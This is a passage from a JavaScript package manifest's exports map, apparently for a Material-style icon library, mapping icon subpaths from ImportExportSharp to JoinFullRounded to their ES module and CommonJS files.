\"import\": \"./ImportExportSharp.mjs\",\n      \"require\": \"./ImportExportSharp.js\",\n      \"default\": \"./ImportExportSharp.mjs\"\n    },\n    \"./ImportExportTwoTone\": {\n      \"import\": \"./ImportExportTwoTone.mjs\",\n      \"require\": \"./ImportExportTwoTone.js\",\n      \"default\": \"./ImportExportTwoTone.mjs\"\n    },\n    \"./ImportantDevices\": {\n      \"import\": \"./ImportantDevices.mjs\",\n      \"require\": \"./ImportantDevices.js\",\n      \"default\": \"./ImportantDevices.mjs\"\n    },\n    \"./ImportantDevicesOutlined\": {\n      \"import\": \"./ImportantDevicesOutlined.mjs\",\n      \"require\": \"./ImportantDevicesOutlined.js\",\n      \"default\": \"./ImportantDevicesOutlined.mjs\"\n    },\n    \"./ImportantDevicesRounded\": {\n      \"import\": \"./ImportantDevicesRounded.mjs\",\n      \"require\": \"./ImportantDevicesRounded.js\",\n      \"default\": \"./ImportantDevicesRounded.mjs\"\n    },\n    \"./ImportantDevicesSharp\": {\n      \"import\": \"./ImportantDevicesSharp.mjs\",\n      \"require\": \"./ImportantDevicesSharp.js\",\n      \"default\": \"./ImportantDevicesSharp.mjs\"\n    },\n    \"./ImportantDevicesTwoTone\": {\n      \"import\": \"./ImportantDevicesTwoTone.mjs\",\n      \"require\": \"./ImportantDevicesTwoTone.js\",\n      \"default\": \"./ImportantDevicesTwoTone.mjs\"\n    },\n    \"./Inbox\": {\n      \"import\": \"./Inbox.mjs\",\n      \"require\": \"./Inbox.js\",\n      \"default\": \"./Inbox.mjs\"\n    },\n    \"./InboxOutlined\": {\n      \"import\": \"./InboxOutlined.mjs\",\n      \"require\": \"./InboxOutlined.js\",\n      \"default\": \"./InboxOutlined.mjs\"\n    },\n    \"./InboxRounded\": {\n      \"import\": \"./InboxRounded.mjs\",\n      \"require\": \"./InboxRounded.js\",\n      \"default\": \"./InboxRounded.mjs\"\n    },\n    \"./InboxSharp\": {\n      \"import\": \"./InboxSharp.mjs\",\n      \"require\": \"./InboxSharp.js\",\n      \"default\": \"./InboxSharp.mjs\"\n    },\n    \"./InboxTwoTone\": {\n      \"import\": \"./InboxTwoTone.mjs\",\n      \"require\": \"./InboxTwoTone.js\",\n      \"default\": \"./InboxTwoTone.mjs\"\n    },\n    \"./IncompleteCircle\": {\n      \"import\": \"./IncompleteCircle.mjs\",\n      \"require\": \"./IncompleteCircle.js\",\n      \"default\": \"./IncompleteCircle.mjs\"\n    },\n    \"./IncompleteCircleOutlined\": {\n      \"import\": \"./IncompleteCircleOutlined.mjs\",\n      \"require\": \"./IncompleteCircleOutlined.js\",\n      \"default\": \"./IncompleteCircleOutlined.mjs\"\n    },\n    \"./IncompleteCircleRounded\": {\n      \"import\": \"./IncompleteCircleRounded.mjs\",\n      \"require\": \"./IncompleteCircleRounded.js\",\n      \"default\": \"./IncompleteCircleRounded.mjs\"\n    },\n    \"./IncompleteCircleSharp\": {\n      \"import\": \"./IncompleteCircleSharp.mjs\",\n      \"require\": \"./IncompleteCircleSharp.js\",\n      \"default\": \"./IncompleteCircleSharp.mjs\"\n    },\n    \"./IncompleteCircleTwoTone\": {\n      \"import\": \"./IncompleteCircleTwoTone.mjs\",\n      \"require\": \"./IncompleteCircleTwoTone.js\",\n      \"default\": \"./IncompleteCircleTwoTone.mjs\"\n    },\n    \"./IndeterminateCheckBox\": {\n      \"import\": \"./IndeterminateCheckBox.mjs\",\n      \"require\": \"./IndeterminateCheckBox.js\",\n      \"default\": \"./IndeterminateCheckBox.mjs\"\n    },\n    \"./IndeterminateCheckBoxOutlined\": {\n      \"import\": \"./IndeterminateCheckBoxOutlined.mjs\",\n      \"require\": \"./IndeterminateCheckBoxOutlined.js\",\n      \"default\": \"./IndeterminateCheckBoxOutlined.mjs\"\n    },\n    \"./IndeterminateCheckBoxRounded\": {\n      \"import\": \"./IndeterminateCheckBoxRounded.mjs\",\n      \"require\": \"./IndeterminateCheckBoxRounded.js\",\n      \"default\": \"./IndeterminateCheckBoxRounded.mjs\"\n    },\n    \"./IndeterminateCheckBoxSharp\": {\n      \"import\": \"./IndeterminateCheckBoxSharp.mjs\",\n      \"require\": \"./IndeterminateCheckBoxSharp.js\",\n      \"default\": \"./IndeterminateCheckBoxSharp.mjs\"\n    },\n    \"./IndeterminateCheckBoxTwoTone\": {\n      \"import\": \"./IndeterminateCheckBoxTwoTone.mjs\",\n      \"require\": \"./IndeterminateCheckBoxTwoTone.js\",\n      \"default\": \"./IndeterminateCheckBoxTwoTone.mjs\"\n    },\n    \"./Info\": {\n      \"import\": \"./Info.mjs\",\n      \"require\": \"./Info.js\",\n      \"default\": \"./Info.mjs\"\n    },\n    \"./InfoOutline\": {\n      \"import\": \"./InfoOutline.mjs\",\n      \"require\": \"./InfoOutline.js\",\n      \"default\": \"./InfoOutline.mjs\"\n    },\n    \"./InfoOutlineRounded\": {\n      \"import\": \"./InfoOutlineRounded.mjs\",\n      \"require\": \"./InfoOutlineRounded.js\",\n      \"default\": \"./InfoOutlineRounded.mjs\"\n    },\n    \"./InfoOutlineSharp\": {\n      \"import\": \"./InfoOutlineSharp.mjs\",\n      \"require\": \"./InfoOutlineSharp.js\",\n      \"default\": \"./InfoOutlineSharp.mjs\"\n    },\n    \"./InfoOutlineTwoTone\": {\n      \"import\": \"./InfoOutlineTwoTone.mjs\",\n      \"require\": \"./InfoOutlineTwoTone.js\",\n      \"default\": \"./InfoOutlineTwoTone.mjs\"\n    },\n    \"./InfoOutlined\": {\n      \"import\": \"./InfoOutlined.mjs\",\n      \"require\": \"./InfoOutlined.js\",\n      \"default\": \"./InfoOutlined.mjs\"\n    },\n    \"./InfoRounded\": {\n      \"import\": \"./InfoRounded.mjs\",\n      \"require\": \"./InfoRounded.js\",\n      \"default\": \"./InfoRounded.mjs\"\n    },\n    \"./InfoSharp\": {\n      \"import\": \"./InfoSharp.mjs\",\n      \"require\": \"./InfoSharp.js\",\n      \"default\": \"./InfoSharp.mjs\"\n    },\n    \"./InfoTwoTone\": {\n      \"import\": \"./InfoTwoTone.mjs\",\n      \"require\": \"./InfoTwoTone.js\",\n      \"default\": \"./InfoTwoTone.mjs\"\n    },\n    \"./Input\": {\n      \"import\": \"./Input.mjs\",\n      \"require\": \"./Input.js\",\n      \"default\": \"./Input.mjs\"\n    },\n    \"./InputOutlined\": {\n      \"import\": \"./InputOutlined.mjs\",\n      \"require\": \"./InputOutlined.js\",\n      \"default\": \"./InputOutlined.mjs\"\n    },\n    \"./InputRounded\": {\n      \"import\": \"./InputRounded.mjs\",\n      \"require\": \"./InputRounded.js\",\n      \"default\": \"./InputRounded.mjs\"\n    },\n    \"./InputSharp\": {\n      \"import\": \"./InputSharp.mjs\",\n      \"require\": \"./InputSharp.js\",\n      \"default\": \"./InputSharp.mjs\"\n    },\n    \"./InputTwoTone\": {\n      \"import\": \"./InputTwoTone.mjs\",\n      \"require\": \"./InputTwoTone.js\",\n      \"default\": \"./InputTwoTone.mjs\"\n    },\n    \"./InsertChart\": {\n      \"import\": \"./InsertChart.mjs\",\n      \"require\": \"./InsertChart.js\",\n      \"default\": \"./InsertChart.mjs\"\n    },\n    \"./InsertChartOutlined\": {\n      \"import\": \"./InsertChartOutlined.mjs\",\n      \"require\": \"./InsertChartOutlined.js\",\n      \"default\": \"./InsertChartOutlined.mjs\"\n    },\n    \"./InsertChartOutlinedOutlined\": {\n      \"import\": \"./InsertChartOutlinedOutlined.mjs\",\n      \"require\": \"./InsertChartOutlinedOutlined.js\",\n      \"default\": \"./InsertChartOutlinedOutlined.mjs\"\n    },\n    \"./InsertChartOutlinedRounded\": {\n      \"import\": \"./InsertChartOutlinedRounded.mjs\",\n      \"require\": \"./InsertChartOutlinedRounded.js\",\n      \"default\": \"./InsertChartOutlinedRounded.mjs\"\n    },\n    \"./InsertChartOutlinedSharp\": {\n      \"import\": \"./InsertChartOutlinedSharp.mjs\",\n      \"require\": \"./InsertChartOutlinedSharp.js\",\n      \"default\": \"./InsertChartOutlinedSharp.mjs\"\n    },\n    \"./InsertChartOutlinedTwoTone\": {\n      \"import\": \"./InsertChartOutlinedTwoTone.mjs\",\n      \"require\": \"./InsertChartOutlinedTwoTone.js\",\n      \"default\": \"./InsertChartOutlinedTwoTone.mjs\"\n    },\n    \"./InsertChartRounded\": {\n      \"import\": \"./InsertChartRounded.mjs\",\n      \"require\": \"./InsertChartRounded.js\",\n      \"default\": \"./InsertChartRounded.mjs\"\n    },\n    \"./InsertChartSharp\": {\n      \"import\": \"./InsertChartSharp.mjs\",\n      \"require\": \"./InsertChartSharp.js\",\n      \"default\": \"./InsertChartSharp.mjs\"\n    },\n    \"./InsertChartTwoTone\": {\n      \"import\": \"./InsertChartTwoTone.mjs\",\n      \"require\": \"./InsertChartTwoTone.js\",\n      \"default\": \"./InsertChartTwoTone.mjs\"\n    },\n    \"./InsertComment\": {\n      \"import\": \"./InsertComment.mjs\",\n      \"require\": \"./InsertComment.js\",\n      \"default\": \"./InsertComment.mjs\"\n    },\n    \"./InsertCommentOutlined\": {\n      \"import\": \"./InsertCommentOutlined.mjs\",\n      \"require\": \"./InsertCommentOutlined.js\",\n      \"default\": \"./InsertCommentOutlined.mjs\"\n    },\n    \"./InsertCommentRounded\": {\n      \"import\": \"./InsertCommentRounded.mjs\",\n      \"require\": \"./InsertCommentRounded.js\",\n      \"default\": \"./InsertCommentRounded.mjs\"\n    },\n    \"./InsertCommentSharp\": {\n      \"import\": \"./InsertCommentSharp.mjs\",\n      \"require\": \"./InsertCommentSharp.js\",\n      \"default\": \"./InsertCommentSharp.mjs\"\n    },\n    \"./InsertCommentTwoTone\": {\n      \"import\": \"./InsertCommentTwoTone.mjs\",\n      \"require\": \"./InsertCommentTwoTone.js\",\n      \"default\": \"./InsertCommentTwoTone.mjs\"\n    },\n    \"./InsertDriveFile\": {\n      \"import\": \"./InsertDriveFile.mjs\",\n      \"require\": \"./InsertDriveFile.js\",\n      \"default\": \"./InsertDriveFile.mjs\"\n    },\n    \"./InsertDriveFileOutlined\": {\n      \"import\": \"./InsertDriveFileOutlined.mjs\",\n      \"require\": \"./InsertDriveFileOutlined.js\",\n      \"default\": \"./InsertDriveFileOutlined.mjs\"\n    },\n    \"./InsertDriveFileRounded\": {\n      \"import\": \"./InsertDriveFileRounded.mjs\",\n      \"require\": \"./InsertDriveFileRounded.js\",\n      \"default\": \"./InsertDriveFileRounded.mjs\"\n    },\n    \"./InsertDriveFileSharp\": {\n      \"import\": \"./InsertDriveFileSharp.mjs\",\n      \"require\": \"./InsertDriveFileSharp.js\",\n      \"default\": \"./InsertDriveFileSharp.mjs\"\n    },\n    \"./InsertDriveFileTwoTone\": {\n      \"import\": \"./InsertDriveFileTwoTone.mjs\",\n      \"require\": \"./InsertDriveFileTwoTone.js\",\n      \"default\": \"./InsertDriveFileTwoTone.mjs\"\n    },\n    \"./InsertEmoticon\": {\n      \"import\": \"./InsertEmoticon.mjs\",\n      \"require\": \"./InsertEmoticon.js\",\n      \"default\": \"./InsertEmoticon.mjs\"\n    },\n    \"./InsertEmoticonOutlined\": {\n      \"import\": \"./InsertEmoticonOutlined.mjs\",\n      \"require\": \"./InsertEmoticonOutlined.js\",\n      \"default\": \"./InsertEmoticonOutlined.mjs\"\n    },\n    \"./InsertEmoticonRounded\": {\n      \"import\": \"./InsertEmoticonRounded.mjs\",\n      \"require\": \"./InsertEmoticonRounded.js\",\n      \"default\": \"./InsertEmoticonRounded.mjs\"\n    },\n    \"./InsertEmoticonSharp\": {\n      \"import\": \"./InsertEmoticonSharp.mjs\",\n      \"require\": \"./InsertEmoticonSharp.js\",\n      \"default\": \"./InsertEmoticonSharp.mjs\"\n    },\n    \"./InsertEmoticonTwoTone\": {\n      \"import\": \"./InsertEmoticonTwoTone.mjs\",\n      \"require\": \"./InsertEmoticonTwoTone.js\",\n      \"default\": \"./InsertEmoticonTwoTone.mjs\"\n    },\n    \"./InsertInvitation\": {\n      \"import\": \"./InsertInvitation.mjs\",\n      \"require\": \"./InsertInvitation.js\",\n      \"default\": \"./InsertInvitation.mjs\"\n    },\n    \"./InsertInvitationOutlined\": {\n      \"import\": \"./InsertInvitationOutlined.mjs\",\n      \"require\": \"./InsertInvitationOutlined.js\",\n      \"default\": \"./InsertInvitationOutlined.mjs\"\n    },\n    \"./InsertInvitationRounded\": {\n      \"import\": \"./InsertInvitationRounded.mjs\",\n      \"require\": \"./InsertInvitationRounded.js\",\n      \"default\": \"./InsertInvitationRounded.mjs\"\n    },\n    \"./InsertInvitationSharp\": {\n      \"import\": \"./InsertInvitationSharp.mjs\",\n      \"require\": \"./InsertInvitationSharp.js\",\n      \"default\": \"./InsertInvitationSharp.mjs\"\n    },\n    \"./InsertInvitationTwoTone\": {\n      \"import\": \"./InsertInvitationTwoTone.mjs\",\n      \"require\": \"./InsertInvitationTwoTone.js\",\n      \"default\": \"./InsertInvitationTwoTone.mjs\"\n    },\n    \"./InsertLink\": {\n      \"import\": \"./InsertLink.mjs\",\n      \"require\": \"./InsertLink.js\",\n      \"default\": \"./InsertLink.mjs\"\n    },\n    \"./InsertLinkOutlined\": {\n      \"import\": \"./InsertLinkOutlined.mjs\",\n      \"require\": \"./InsertLinkOutlined.js\",\n      \"default\": \"./InsertLinkOutlined.mjs\"\n    },\n    \"./InsertLinkRounded\": {\n      \"require\": \"./InsertLinkRounded.js\",\n      \"import\": \"./InsertLinkRounded.mjs\",\n      \"default\": \"./InsertLinkRounded.mjs\"\n    },\n    \"./InsertLinkSharp\": {\n      \"require\": \"./InsertLinkSharp.js\",\n      \"import\": \"./InsertLinkSharp.mjs\",\n      \"default\": \"./InsertLinkSharp.mjs\"\n    },\n    \"./InsertLinkTwoTone\": {\n      \"require\": \"./InsertLinkTwoTone.js\",\n      \"import\": \"./InsertLinkTwoTone.mjs\",\n      \"default\": \"./InsertLinkTwoTone.mjs\"\n    },\n    \"./InsertPageBreak\": {\n      \"require\": \"./InsertPageBreak.js\",\n      \"import\": \"./InsertPageBreak.mjs\",\n      \"default\": \"./InsertPageBreak.mjs\"\n    },\n    \"./InsertPageBreakOutlined\": {\n      \"require\": \"./InsertPageBreakOutlined.js\",\n      \"import\": \"./InsertPageBreakOutlined.mjs\",\n      \"default\": \"./InsertPageBreakOutlined.mjs\"\n    },\n    \"./InsertPageBreakRounded\": {\n      \"require\": \"./InsertPageBreakRounded.js\",\n      \"import\": \"./InsertPageBreakRounded.mjs\",\n      \"default\": \"./InsertPageBreakRounded.mjs\"\n    },\n    \"./InsertPageBreakSharp\": {\n      \"require\": \"./InsertPageBreakSharp.js\",\n      \"import\": \"./InsertPageBreakSharp.mjs\",\n      \"default\": \"./InsertPageBreakSharp.mjs\"\n    },\n    \"./InsertPageBreakTwoTone\": {\n      \"require\": \"./InsertPageBreakTwoTone.js\",\n      \"import\": \"./InsertPageBreakTwoTone.mjs\",\n      \"default\": \"./InsertPageBreakTwoTone.mjs\"\n    },\n    \"./InsertPhoto\": {\n      \"require\": \"./InsertPhoto.js\",\n      \"import\": \"./InsertPhoto.mjs\",\n      \"default\": \"./InsertPhoto.mjs\"\n    },\n    \"./InsertPhotoOutlined\": {\n      \"require\": \"./InsertPhotoOutlined.js\",\n      \"import\": \"./InsertPhotoOutlined.mjs\",\n      \"default\": \"./InsertPhotoOutlined.mjs\"\n    },\n    \"./InsertPhotoRounded\": {\n      \"require\": \"./InsertPhotoRounded.js\",\n      \"import\": \"./InsertPhotoRounded.mjs\",\n      \"default\": \"./InsertPhotoRounded.mjs\"\n    },\n    \"./InsertPhotoSharp\": {\n      \"require\": \"./InsertPhotoSharp.js\",\n      \"import\": \"./InsertPhotoSharp.mjs\",\n      \"default\": \"./InsertPhotoSharp.mjs\"\n    },\n    \"./InsertPhotoTwoTone\": {\n      \"require\": \"./InsertPhotoTwoTone.js\",\n      \"import\": \"./InsertPhotoTwoTone.mjs\",\n      \"default\": \"./InsertPhotoTwoTone.mjs\"\n    },\n    \"./Insights\": {\n      \"require\": \"./Insights.js\",\n      \"import\": \"./Insights.mjs\",\n      \"default\": \"./Insights.mjs\"\n    },\n    \"./InsightsOutlined\": {\n      \"require\": \"./InsightsOutlined.js\",\n      \"import\": \"./InsightsOutlined.mjs\",\n      \"default\": \"./InsightsOutlined.mjs\"\n    },\n    \"./InsightsRounded\": {\n      \"require\": \"./InsightsRounded.js\",\n      \"import\": \"./InsightsRounded.mjs\",\n      \"default\": \"./InsightsRounded.mjs\"\n    },\n    \"./InsightsSharp\": {\n      \"require\": \"./InsightsSharp.js\",\n      \"import\": \"./InsightsSharp.mjs\",\n      \"default\": \"./InsightsSharp.mjs\"\n    },\n    \"./InsightsTwoTone\": {\n      \"require\": \"./InsightsTwoTone.js\",\n      \"import\": \"./InsightsTwoTone.mjs\",\n      \"default\": \"./InsightsTwoTone.mjs\"\n    },\n    \"./Instagram\": {\n      \"require\": \"./Instagram.js\",\n      \"import\": \"./Instagram.mjs\",\n      \"default\": \"./Instagram.mjs\"\n    },\n    \"./InstallDesktop\": {\n      \"require\": \"./InstallDesktop.js\",\n      \"import\": \"./InstallDesktop.mjs\",\n      \"default\": \"./InstallDesktop.mjs\"\n    },\n    \"./InstallDesktopOutlined\": {\n      \"require\": \"./InstallDesktopOutlined.js\",\n      \"import\": \"./InstallDesktopOutlined.mjs\",\n      \"default\": \"./InstallDesktopOutlined.mjs\"\n    },\n    \"./InstallDesktopRounded\": {\n      \"require\": \"./InstallDesktopRounded.js\",\n      \"import\": \"./InstallDesktopRounded.mjs\",\n      \"default\": \"./InstallDesktopRounded.mjs\"\n    },\n    \"./InstallDesktopSharp\": {\n      \"require\": \"./InstallDesktopSharp.js\",\n      \"import\": \"./InstallDesktopSharp.mjs\",\n      \"default\": \"./InstallDesktopSharp.mjs\"\n    },\n    \"./InstallDesktopTwoTone\": {\n      \"require\": \"./InstallDesktopTwoTone.js\",\n      \"import\": \"./InstallDesktopTwoTone.mjs\",\n      \"default\": \"./InstallDesktopTwoTone.mjs\"\n    },\n    \"./InstallMobile\": {\n      \"require\": \"./InstallMobile.js\",\n      \"import\": \"./InstallMobile.mjs\",\n      \"default\": \"./InstallMobile.mjs\"\n    },\n    \"./InstallMobileOutlined\": {\n      \"require\": \"./InstallMobileOutlined.js\",\n      \"import\": \"./InstallMobileOutlined.mjs\",\n      \"default\": \"./InstallMobileOutlined.mjs\"\n    },\n    \"./InstallMobileRounded\": {\n      \"require\": \"./InstallMobileRounded.js\",\n      \"import\": \"./InstallMobileRounded.mjs\",\n      \"default\": \"./InstallMobileRounded.mjs\"\n    },\n    \"./InstallMobileSharp\": {\n      \"require\": \"./InstallMobileSharp.js\",\n      \"import\": \"./InstallMobileSharp.mjs\",\n      \"default\": \"./InstallMobileSharp.mjs\"\n    },\n    \"./InstallMobileTwoTone\": {\n      \"require\": \"./InstallMobileTwoTone.js\",\n      \"import\": \"./InstallMobileTwoTone.mjs\",\n      \"default\": \"./InstallMobileTwoTone.mjs\"\n    },\n    \"./IntegrationInstructions\": {\n      \"require\": \"./IntegrationInstructions.js\",\n      \"import\": \"./IntegrationInstructions.mjs\",\n      \"default\": \"./IntegrationInstructions.mjs\"\n    },\n    \"./IntegrationInstructionsOutlined\": {\n      \"import\": \"./IntegrationInstructionsOutlined.mjs\",\n      \"require\": \"./IntegrationInstructionsOutlined.js\",\n      \"default\": \"./IntegrationInstructionsOutlined.mjs\"\n    },\n    \"./IntegrationInstructionsRounded\": {\n      \"import\": \"./IntegrationInstructionsRounded.mjs\",\n      \"require\": \"./IntegrationInstructionsRounded.js\",\n      \"default\": \"./IntegrationInstructionsRounded.mjs\"\n    },\n    \"./IntegrationInstructionsSharp\": {\n      \"import\": \"./IntegrationInstructionsSharp.mjs\",\n      \"require\": \"./IntegrationInstructionsSharp.js\",\n      \"default\": \"./IntegrationInstructionsSharp.mjs\"\n    },\n    \"./IntegrationInstructionsTwoTone\": {\n      \"import\": \"./IntegrationInstructionsTwoTone.mjs\",\n      \"require\": \"./IntegrationInstructionsTwoTone.js\",\n      \"default\": \"./IntegrationInstructionsTwoTone.mjs\"\n    },\n    \"./Interests\": {\n      \"import\": \"./Interests.mjs\",\n      \"require\": \"./Interests.js\",\n      \"default\": \"./Interests.mjs\"\n    },\n    \"./InterestsOutlined\": {\n      \"import\": \"./InterestsOutlined.mjs\",\n      \"require\": \"./InterestsOutlined.js\",\n      \"default\": \"./InterestsOutlined.mjs\"\n    },\n    \"./InterestsRounded\": {\n      \"import\": \"./InterestsRounded.mjs\",\n      \"require\": \"./InterestsRounded.js\",\n      \"default\": \"./InterestsRounded.mjs\"\n    },\n    \"./InterestsSharp\": {\n      \"import\": \"./InterestsSharp.mjs\",\n      \"require\": \"./InterestsSharp.js\",\n      \"default\": \"./InterestsSharp.mjs\"\n    },\n    \"./InterestsTwoTone\": {\n      \"import\": \"./InterestsTwoTone.mjs\",\n      \"require\": \"./InterestsTwoTone.js\",\n      \"default\": \"./InterestsTwoTone.mjs\"\n    },\n    \"./InterpreterMode\": {\n      \"import\": \"./InterpreterMode.mjs\",\n      \"require\": \"./InterpreterMode.js\",\n      \"default\": \"./InterpreterMode.mjs\"\n    },\n    \"./InterpreterModeOutlined\": {\n      \"import\": \"./InterpreterModeOutlined.mjs\",\n      \"require\": \"./InterpreterModeOutlined.js\",\n      \"default\": \"./InterpreterModeOutlined.mjs\"\n    },\n    \"./InterpreterModeRounded\": {\n      \"import\": \"./InterpreterModeRounded.mjs\",\n      \"require\": \"./InterpreterModeRounded.js\",\n      \"default\": \"./InterpreterModeRounded.mjs\"\n    },\n    \"./InterpreterModeSharp\": {\n      \"import\": \"./InterpreterModeSharp.mjs\",\n      \"require\": \"./InterpreterModeSharp.js\",\n      \"default\": \"./InterpreterModeSharp.mjs\"\n    },\n    \"./InterpreterModeTwoTone\": {\n      \"import\": \"./InterpreterModeTwoTone.mjs\",\n      \"require\": \"./InterpreterModeTwoTone.js\",\n      \"default\": \"./InterpreterModeTwoTone.mjs\"\n    },\n    \"./Inventory\": {\n      \"import\": \"./Inventory.mjs\",\n      \"require\": \"./Inventory.js\",\n      \"default\": \"./Inventory.mjs\"\n    },\n    \"./Inventory2\": {\n      \"import\": \"./Inventory2.mjs\",\n      \"require\": \"./Inventory2.js\",\n      \"default\": \"./Inventory2.mjs\"\n    },\n    \"./Inventory2Outlined\": {\n      \"import\": \"./Inventory2Outlined.mjs\",\n      \"require\": \"./Inventory2Outlined.js\",\n      \"default\": \"./Inventory2Outlined.mjs\"\n    },\n    \"./Inventory2Rounded\": {\n      \"import\": \"./Inventory2Rounded.mjs\",\n      \"require\": \"./Inventory2Rounded.js\",\n      \"default\": \"./Inventory2Rounded.mjs\"\n    },\n    \"./Inventory2Sharp\": {\n      \"import\": \"./Inventory2Sharp.mjs\",\n      \"require\": \"./Inventory2Sharp.js\",\n      \"default\": \"./Inventory2Sharp.mjs\"\n    },\n    \"./Inventory2TwoTone\": {\n      \"import\": \"./Inventory2TwoTone.mjs\",\n      \"require\": \"./Inventory2TwoTone.js\",\n      \"default\": \"./Inventory2TwoTone.mjs\"\n    },\n    \"./InventoryOutlined\": {\n      \"import\": \"./InventoryOutlined.mjs\",\n      \"require\": \"./InventoryOutlined.js\",\n      \"default\": \"./InventoryOutlined.mjs\"\n    },\n    \"./InventoryRounded\": {\n      \"import\": \"./InventoryRounded.mjs\",\n      \"require\": \"./InventoryRounded.js\",\n      \"default\": \"./InventoryRounded.mjs\"\n    },\n    \"./InventorySharp\": {\n      \"import\": \"./InventorySharp.mjs\",\n      \"require\": \"./InventorySharp.js\",\n      \"default\": \"./InventorySharp.mjs\"\n    },\n    \"./InventoryTwoTone\": {\n      \"require\": \"./InventoryTwoTone.js\",\n      \"import\": \"./InventoryTwoTone.mjs\",\n      \"default\": \"./InventoryTwoTone.mjs\"\n    },\n    \"./InvertColors\": {\n      \"require\": \"./InvertColors.js\",\n      \"import\": \"./InvertColors.mjs\",\n      \"default\": \"./InvertColors.mjs\"\n    },\n    \"./InvertColorsOff\": {\n      \"require\": \"./InvertColorsOff.js\",\n      \"import\": \"./InvertColorsOff.mjs\",\n      \"default\": \"./InvertColorsOff.mjs\"\n    },\n    \"./InvertColorsOffOutlined\": {\n      \"require\": \"./InvertColorsOffOutlined.js\",\n      \"import\": \"./InvertColorsOffOutlined.mjs\",\n      \"default\": \"./InvertColorsOffOutlined.mjs\"\n    },\n    \"./InvertColorsOffRounded\": {\n      \"require\": \"./InvertColorsOffRounded.js\",\n      \"import\": \"./InvertColorsOffRounded.mjs\",\n      \"default\": \"./InvertColorsOffRounded.mjs\"\n    },\n    \"./InvertColorsOffSharp\": {\n      \"require\": \"./InvertColorsOffSharp.js\",\n      \"import\": \"./InvertColorsOffSharp.mjs\",\n      \"default\": \"./InvertColorsOffSharp.mjs\"\n    },\n    \"./InvertColorsOffTwoTone\": {\n      \"require\": \"./InvertColorsOffTwoTone.js\",\n      \"import\": \"./InvertColorsOffTwoTone.mjs\",\n      \"default\": \"./InvertColorsOffTwoTone.mjs\"\n    },\n    \"./InvertColorsOutlined\": {\n      \"require\": \"./InvertColorsOutlined.js\",\n      \"import\": \"./InvertColorsOutlined.mjs\",\n      \"default\": \"./InvertColorsOutlined.mjs\"\n    },\n    \"./InvertColorsRounded\": {\n      \"require\": \"./InvertColorsRounded.js\",\n      \"import\": \"./InvertColorsRounded.mjs\",\n      \"default\": \"./InvertColorsRounded.mjs\"\n    },\n    \"./InvertColorsSharp\": {\n      \"require\": \"./InvertColorsSharp.js\",\n      \"import\": \"./InvertColorsSharp.mjs\",\n      \"default\": \"./InvertColorsSharp.mjs\"\n    },\n    \"./InvertColorsTwoTone\": {\n      \"import\": \"./InvertColorsTwoTone.mjs\",\n      \"require\": \"./InvertColorsTwoTone.js\",\n      \"default\": \"./InvertColorsTwoTone.mjs\"\n    },\n    \"./IosShare\": {\n      \"import\": \"./IosShare.mjs\",\n      \"require\": \"./IosShare.js\",\n      \"default\": \"./IosShare.mjs\"\n    },\n    \"./IosShareOutlined\": {\n      \"import\": \"./IosShareOutlined.mjs\",\n      \"require\": \"./IosShareOutlined.js\",\n      \"default\": \"./IosShareOutlined.mjs\"\n    },\n    \"./IosShareRounded\": {\n      \"import\": \"./IosShareRounded.mjs\",\n      \"require\": \"./IosShareRounded.js\",\n      \"default\": \"./IosShareRounded.mjs\"\n    },\n    \"./IosShareSharp\": {\n      \"import\": \"./IosShareSharp.mjs\",\n      \"require\": \"./IosShareSharp.js\",\n      \"default\": \"./IosShareSharp.mjs\"\n    },\n    \"./IosShareTwoTone\": {\n      \"import\": \"./IosShareTwoTone.mjs\",\n      \"require\": \"./IosShareTwoTone.js\",\n      \"default\": \"./IosShareTwoTone.mjs\"\n    },\n    \"./Iron\": {\n      \"import\": \"./Iron.mjs\",\n      \"require\": \"./Iron.js\",\n      \"default\": \"./Iron.mjs\"\n    },\n    \"./IronOutlined\": {\n      \"import\": \"./IronOutlined.mjs\",\n      \"require\": \"./IronOutlined.js\",\n      \"default\": \"./IronOutlined.mjs\"\n    },\n    \"./IronRounded\": {\n      \"import\": \"./IronRounded.mjs\",\n      \"require\": \"./IronRounded.js\",\n      \"default\": \"./IronRounded.mjs\"\n    },\n    \"./IronSharp\": {\n      \"import\": \"./IronSharp.mjs\",\n      \"require\": \"./IronSharp.js\",\n      \"default\": \"./IronSharp.mjs\"\n    },\n    \"./IronTwoTone\": {\n      \"import\": \"./IronTwoTone.mjs\",\n      \"require\": \"./IronTwoTone.js\",\n      \"default\": \"./IronTwoTone.mjs\"\n    },\n    \"./Iso\": {\n      \"import\": \"./Iso.mjs\",\n      \"require\": \"./Iso.js\",\n      \"default\": \"./Iso.mjs\"\n    },\n    \"./IsoOutlined\": {\n      \"import\": \"./IsoOutlined.mjs\",\n      \"require\": \"./IsoOutlined.js\",\n      \"default\": \"./IsoOutlined.mjs\"\n    },\n    \"./IsoRounded\": {\n      \"import\": \"./IsoRounded.mjs\",\n      \"require\": \"./IsoRounded.js\",\n      \"default\": \"./IsoRounded.mjs\"\n    },\n    \"./IsoSharp\": {\n      \"import\": \"./IsoSharp.mjs\",\n      \"require\": \"./IsoSharp.js\",\n      \"default\": \"./IsoSharp.mjs\"\n    },\n    \"./IsoTwoTone\": {\n      \"import\": \"./IsoTwoTone.mjs\",\n      \"require\": \"./IsoTwoTone.js\",\n      \"default\": \"./IsoTwoTone.mjs\"\n    },\n    \"./Javascript\": {\n      \"import\": \"./Javascript.mjs\",\n      \"require\": \"./Javascript.js\",\n      \"default\": \"./Javascript.mjs\"\n    },\n    \"./JavascriptOutlined\": {\n      \"import\": \"./JavascriptOutlined.mjs\",\n      \"require\": \"./JavascriptOutlined.js\",\n      \"default\": \"./JavascriptOutlined.mjs\"\n    },\n    \"./JavascriptRounded\": {\n      \"import\": \"./JavascriptRounded.mjs\",\n      \"require\": \"./JavascriptRounded.js\",\n      \"default\": \"./JavascriptRounded.mjs\"\n    },\n    \"./JavascriptSharp\": {\n      \"import\": \"./JavascriptSharp.mjs\",\n      \"require\": \"./JavascriptSharp.js\",\n      \"default\": \"./JavascriptSharp.mjs\"\n    },\n    \"./JavascriptTwoTone\": {\n      \"import\": \"./JavascriptTwoTone.mjs\",\n      \"require\": \"./JavascriptTwoTone.js\",\n      \"default\": \"./JavascriptTwoTone.mjs\"\n    },\n    \"./JoinFull\": {\n      \"import\": \"./JoinFull.mjs\",\n      \"require\": \"./JoinFull.js\",\n      \"default\": \"./JoinFull.mjs\"\n    },\n    \"./JoinFullOutlined\": {\n      \"import\": \"./JoinFullOutlined.mjs\",\n      \"require\": \"./JoinFullOutlined.js\",\n      \"default\": \"./JoinFullOutlined.mjs\"\n    },\n    \"./JoinFullRounded\": {\n      \"import\": \"./JoinFullRounded.mjs\",\n      